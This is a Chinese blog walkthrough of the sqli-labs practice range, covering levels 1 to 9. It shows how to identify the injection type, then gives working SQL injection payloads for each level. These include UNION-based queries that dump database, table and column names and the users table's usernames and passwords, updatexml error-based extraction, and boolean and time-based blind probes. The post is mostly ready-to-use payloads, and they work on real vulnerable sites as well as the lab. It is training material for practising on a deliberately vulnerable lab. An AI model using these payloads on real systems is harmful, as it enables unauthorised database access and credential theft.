sqli-labs靶场题目---持续更新中

在题目开始前,先学会判断注入点数据类型

?id=1,页面正常

?id=1 and 1=1,页面回显正常

?id=1 and 1=2,页面回显正常

当输入1=2时,页面回显正常,输入了不符合逻辑的条件都显示正常,说明不是数值型注入

?id=1,页面正常

?id=1 and 1=1,页面回显正常

?id=1 and 1=2,页面回显不正常

当输入1=2时,页面回显不正常,输入了不符合逻辑的条件显示异常,说明是数值型注入

?id=1',页面回显不正常   (未闭合)

?id=1' and '1'='1,页面回显正常

?id=1' and '1'='2,页面回显不正常

未闭合时、逻辑不符时,出现异常,说明是单引号字符串型注入。(还有双引号、括号)

第一题

?id=1

?id=1 and 1=1

?id=1 and 1=2

页面不变

?id=1'

页面改变

id=1' and '1'='1,回显正常

id=1' and '1'='2,回显不正常

存在单引号字符串型注入漏洞

确认列数

?id=1' order by 1 --+

?id=1' order by 2 --+

?id=1' order by 3 --+

都是

?id=1' order by 4 --+

所以得到一共有三列

使用Union select 进行查询

?id=-1' union select 1,2,3 -- +

页面的2个显示位,分别表的2,3列

从图片可以看出回显是2、3列,那么可以把语句中的2、3换成别的查询语句来输出不同的信息。

爆破所有数据库名以及当前数据库名

?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),database() -- +

当前数据库名为:security

爆破security数据库内的所有表名

?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

security数据库下所有表

爆破users表内的所有列名

?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+

得出id列、username列、password列

查询所有的用户名,密码(爆字段)

?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

得到账户密码,打入成功。

第二题

判断

?id=1 and 1=2

数值型注入

?id=1 order by 3 --+

为数值型,所以不用 ' 闭合

输入4时页面回显错误,所以为3列

爆库

?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),database() --+

爆表

?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

爆列

?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+

爆字段

?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

第三题

判断

?id=1') and ('1')=('2

经过多次判断他的闭合方式为      ')

后面过程和之前类似

?id=1') order by 3 --+

?id=-1') union select 1,(select group_concat(schema_name) from information_schema.schemata),database() --+

?id=-1') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

?id=-1') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+

?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

第四题

判断

?id=1" --+

 ?id=1") --+

?id=1")  and ("1")=("2


闭合方式 ")

?id=1") order by 4 --+

.............

后面都一样

第五题

判断

?id=1' '1'='2

四步走

?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

?id=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,20)),1) --+

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)),1) --+

发现没爆完全,接着用substring函数爆

?id=-1' and updatexml(1,concat(0x7e,substring((select group_concat(username,0x7e,password) from users),30,32)),1) --+

后面改30这个数字就行。

第六题

第八题

判断闭合方式

?id=1'     发现是 ' 闭合

判断数据库长度

?id=1'  and length(database()) --+

判断数据库名中字母

?id=1' and left(database(),1)='s' --+

四步走直接用Python脚本

代码在主页专门的《脚本》文章中

爆字段没爆完就改for i in range(1, 100):中100的值

第九题

判断闭合方式

?id=1 

?id=-1

都是

当数据库没有一个数据的时候,应当会报错或是页面应该和查到一个数据的时候不同,我们的布尔盲注就是利用如此原理,但此时我们发现无论输入的id正确与否,页面都未发生改变,又无回显也没有报错信息,因此此时可以使用时间盲注

判断注入点

?id=1' and sleep(5) --+      发现是 '

发现确实有延时,可以用时间盲注

脚本小子走起

代码在主页专门的《脚本》文章中

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值